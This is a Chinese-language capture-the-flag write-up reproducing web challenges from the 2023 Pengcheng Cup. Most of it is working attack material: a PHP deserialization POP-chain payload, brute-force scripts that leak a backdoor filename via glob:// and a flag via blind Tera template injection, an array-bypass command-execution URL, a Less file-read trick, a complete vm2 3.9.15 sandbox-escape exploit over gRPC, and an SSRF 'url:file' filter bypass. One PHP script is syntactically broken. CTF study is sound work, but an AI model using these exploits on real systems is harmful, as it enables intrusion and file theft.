2023鹏城杯复现
Web1
<?php
show_source(__FILE__);
class Hacker{
private $exp;
private $cmd;
public function __toString()
{
call_user_func('system', "dir");
return "";
}
}
class A
{
public $hacker;
public function __toString()
{
echo $this->hacker->name;
return "";
}
}
class C
{
public $finish;
public function __get($value)
{
$this->finish->hacker();
echo 'nonono';
}
}
class E
{
public $hacker;
public function __invoke($parms1)
{
echo $parms1;
$this->hacker->welcome();
}
}
class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class K
{
public $func;
public function __call($method,$args)
{
call_user_func($this->func,'welcome');
}
}
class R
{
private $method;
private $args;
public function welcome()
{
if ($this->key === true && $this->finish1->name) {
if ($this->finish->finish) {
call_user_func_array($this->method,$this->args);
}
}
}
}
function nonono($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["pop"];
if (isset($a)){
unserialize(nonono($a));
}
?>
<?php
class H
{
public $username="admin";
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class Hacker{
private $exp=1;
private $cmd=2;
$hacker = new Hacker();
$h = new H();
$h->username= $hacker;
echo serialize($h);
?>
Web2
scandir可利用glob://协议判断文件名是否存在,从而盲注爆出backdoor.php文件名
import requests
import time
url = "http://172.10.0.5/index.php"
s = "abcdef0123456789"
fuck = ""
while 1:
for c in s:
pl = "glob:///var/www/html/backdoor_"+fuck+c+"*.php"
# print(pl)
data = {"Search": "Search Users", "filename": pl}
res = requests.post(url=url, data=data)
if "yes" in res.text:
fuck += c
print(fuck)
# time.sleep(1)
<?php
highlight_file(__FILE__);
if(isset($_GET['username'])){
$sandbox = 'D:\\Others\\phpstudy_pro\\WWW\\pcb.com\\Web2\\sandbox\\'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'\\';
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title= $_GET['title'];
if (strlen($data)>5||strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title,$data);
if (strlen(file_get_contents($title)) <= 10) {
echo $sandbox.$title;
system('php '.$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}
}
else if (isset($_GET['reset'])) {
system('rd /s /q ' . $sandbox);
}
}
?>
数组绕过,命令执行,注意php 命令行执行文件,不需要有.php后缀。
http://pcb.com/web2/backdoor.php?username=jasper&title=1&data[0]=%3c%3f%3d%60%64%69%72%60%3b
Escape
傻逼题目,赶紧 | 。
Tera
tera模板注入,过滤{{,导致只能盲注fuzz,主要是要去阅读Tera的官方文档
{% set f = "fl"~"ag" %}
{% set res = get_env(name=f)%}
{% if res is starting_with("f")%}
fuck you
{% endif %}
import requests
import string
def get_flag(flag):
payload = """
{% set f = 'fl'~'ag' %}
{% set res = get_env(name=f)%}
{% if res is starting_with(f~"&")%}
fuck you
{% endif %}
""".replace("&", flag)
res = requests.post("http://127.0.0.1:7878", payload).text
if "fuck you" in res:
return True
else:
return False
if __name__ == '__main__':
s = string.printable.replace('"', " ").replace("'", " ")
print(s)
flag = ""
while True:
for c in s:
if get_flag(flag+c):
flag += c
break
print(flag)
环境搭建
https://juejin.cn/post/6970325156052860935
https://ctftime.org/writeup/37702
https://keats.github.io/tera/docs/#built-in-tests
simple_rpc
less模板语言读文件,内容会回显在CSS样式里,p牛文章里有提到:https://tttang.com/archive/1714/
.test {
content: data-uri('rpc.js');
}
less=payload,依次读以下文件,最后拿到Web源码:
- /app/app.js
- /app/rpc.js
- /app/eval.proto
- /app/package.json
simple_rpc.tar.gz
"vm2": "3.9.15",存在沙盒逃逸的RCE,下面链接有payload:https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c
rpc server在这里会在沙盒里运行rpc client传过来的request,这里请求传沙盒逃逸payload即可RCE
最终exp如下,这里只执行了whoami确定是有回显的,比赛时读/flag即可。
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var PROTO_PATH = __dirname + '/eval.proto';
var packageDefinition = protoLoader.loadSync(
PROTO_PATH,
{keepCase: true,
longs: String,
enums: String,
defaults: true,
oneofs: true
});
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
function main() {
var client = new hello_proto.Demo('127.0.0.1:8082', grpc.credentials.createInsecure())
client.evalTemplate({ message: 'Hello',template: `aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami');
}` }, function(err, response) {
if (err) {
console.error('Error: ', err)
} else {
console.log(response)
}
})
}
main()
HTTP
这题复现不来,不知道为什么用url:file绕过,下面是Lxxx师傅的WP。
swagger-ui信息泄露
/swagger-ui/index.html#/Proxy/proxyUsingGET
ssrf读文件,过滤了file、netdoc打头的参数,用url:file绕过(卡在这一步)
/proxy/url?url=url:file:///flag%23html